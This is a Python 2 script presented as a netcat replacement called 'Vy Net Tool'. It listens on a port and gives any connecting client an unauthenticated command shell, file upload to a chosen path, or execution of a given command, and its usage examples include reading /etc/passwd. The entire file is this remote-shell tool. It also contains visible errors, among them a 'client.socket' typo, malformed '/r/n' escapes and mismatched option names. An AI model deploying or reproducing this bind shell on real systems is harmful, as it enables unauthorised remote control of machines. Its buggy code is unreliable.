python netcat

#!/usr/bin/python2.7

import sys
import socket
import getopt
import threading
import subprocess

# declare and initialize global vars
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage ():
    print "Vy Net Tool"
    print
    print "Usage: vynet.pyc -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run - execute the given file upon receiving a connection"
    print "-c --command             - initialize a command shell"
    print "-u --upload=destination  - upon receiving a connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "vynet.pyc -t 192.168.0.1 -p 5555 -l -c"
    print "vynet.pyc -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe"
    print "vynet.pyc -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./vynet.pyc -t 192.168.11.12 -p 135"
    sys.exit(0)

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # connect to our target host
        client.connect((target,port))

        if len(buffer):
            client.send(buffer)

        while True:
            # now wait for data back
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break
            print response,

            # wait for more input
            buffer = raw_input("")
            buffer += "\n"

            # send it off
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

        # tear down the connection
        client.close()


def server_loop():
    global target
    global port

    # if no target is defined, we listen on all interfaces
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # spin off a new thread to handle the client
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def run_command(command):
    # trim the newline
    command = command.rstrip()

    # run the command and get the output back
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
    except:
        output = "[-] Failed to execute command\r\n"

    # send the output back to the client
    return output

def client_handler(client_socket):
    global upload
    global execute
    global command

    # check for upload
    if len(upload_destination):

        # read in all the bytes of the file and write to our destination

        file_buffer = ""

        # keep reading data until none is available
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        # now we take these bytes and write them out
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # acknowledge that we wrote the file out
            client_socket.send("Successfully saved file to %s/r/n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s/r/n" % upload_destination)

    # check for command execution
    if len(execute):

        # run the command
        output = run_command(execute)

        client.socket.send(output)

    # now we go into another loop if a command shell was requested

    if command:
        while True:
            # show a simple prompt
            client_socket.send("<cmd_$:#> ")

            # now we revieve until we see a linefeed (enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # we have a valid command so execute it and send back the results
            response = run_command(cmd_buffer)

            # send the response back to the client
            client_socket.send(response)

def main():
    # needed to modify global copies of variables
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]): # if there is more than one element in the array
        usage()

    # read the commandline options
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # are we going to listen or just send data from stdin?
    if not listen and len(target) and port > 0:

        # read in the buffer from the commandline
        # this will block, so send CTRL-D if not sending input
        # to stdin

        buffer = sys.stdin.read()

        print "sending data"
        # send data off
        client_sender(buffer)

    # we are going to listen and potentially
    # upload things, execute commands, and drop a shell back
    # depending on our command line options above
    if listen:
        server_loop()

main()